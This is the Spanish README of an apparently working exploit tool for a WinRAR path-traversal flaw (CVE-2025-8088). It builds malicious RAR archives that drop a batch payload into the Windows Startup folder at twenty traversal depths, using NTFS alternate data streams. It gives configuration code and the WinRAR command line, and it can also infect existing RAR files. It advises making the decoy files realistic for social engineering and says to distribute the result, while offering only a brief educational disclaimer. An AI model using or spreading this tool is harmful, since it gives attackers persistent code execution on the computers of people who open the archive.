
Explotar sistemas que utilizan versiones antiguas de WinRAR sin conocer su nombre de usuario (a diferencia de otros proyectos)


Este script de Python explota una vulnerabilidad de path traversal (CVE-2025-8088) en WinRAR para desplegar payloads en la carpeta de inicio de Windows utilizando múltiples profundidades de ruta relativa. El exploit crea un archivo RAR malicioso que, al ser extraído, escribe payloads en la carpeta de inicio de la víctima a distintas profundidades de directorio.
El script crea múltiples archivos señuelo (20 por defecto), cada uno configurado para recorrer un número diferente de directorios padre:
NUM_DEPTHS = 20 # Number of different traversal depths
Cada archivo utiliza una profundidad de ruta diferente:
File1.txt → ..\Startup\payload.bat
File2.txt → ..\..\Startup\payload.bat
...
File20.txt → ..\..\..\ (20 times) \Startup\payload.bat
✅ Garantiza que no importa dónde extraiga la víctima el archivo (Escritorio, Documentos, Descargas o carpetas anidadas), al menos un payload llegará a la carpeta de inicio.
Los archivos señuelo contienen texto genérico por defecto, pero deben personalizarse para una ingeniería social realista:
# Create more convincing decoy content
decoy.write_text("Quarterly Financial Report Q3 2025.docx\n", encoding="utf-8")
¿Por qué cambiar el contenido del señuelo?
El payload es un simple script por lotes por defecto, pero puede reemplazarse con cualquier ejecutable:
PAYLOAD = "@echo off\necho Payload executed!\npause\n"
Ubicación del payload:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
El archivo RAR malicioso final se guarda como:
OUT_RAR = "exploit.rar"
Esta generación del exploit requiere un entorno Windows por varias razones:
Dependencia de Alternate Data Streams (ADS)
Característica exclusiva de NTFS utilizada para adjuntar payloads:
ads_path = f"{decoy}:{placeholder}" # Windows-specific NTFS syntax
Requisito del ejecutable de WinRAR
Utiliza la CLI de Windows de WinRAR:
subprocess.run(f'"{rar_exe}" a -ep -os "{base_rar}" ...')
Compatibilidad de estructura de rutas
Apunta a rutas específicas de Windows:
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu..."
Ejecución del payload
Genera archivos por lotes de Windows:
@echo off
start /B notepad.exe
Personalice la configuración:
# Configuration
NUM_DEPTHS = 20
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
PAYLOAD = "@echo off\nstart /B notepad.exe\n" # Your actual payload
DECOY_FILE_PREFIX = "Financial_Report_Q3_" # More convincing names
Ejecute el script:
python CVE-2025-8088.py
Distribuya el resultado:
exploit.rarEsta versión del código simplemente te permite ejecutar algo como
python3 infect_premade_rarfiles.py website_backup.rar
Extraerá todos los archivos, inyectará aquellos que pueda, como .txt, .srt, .sql (no todos los tipos de archivo funcionan) y luego creará el archivo rar listo para ejecutar.
⚠️ Esta herramienta es solo para fines educativos y de investigación en seguridad.
Nunca la utilice contra sistemas sin permiso explícito. El uso no autorizado es ilegal y poco ético.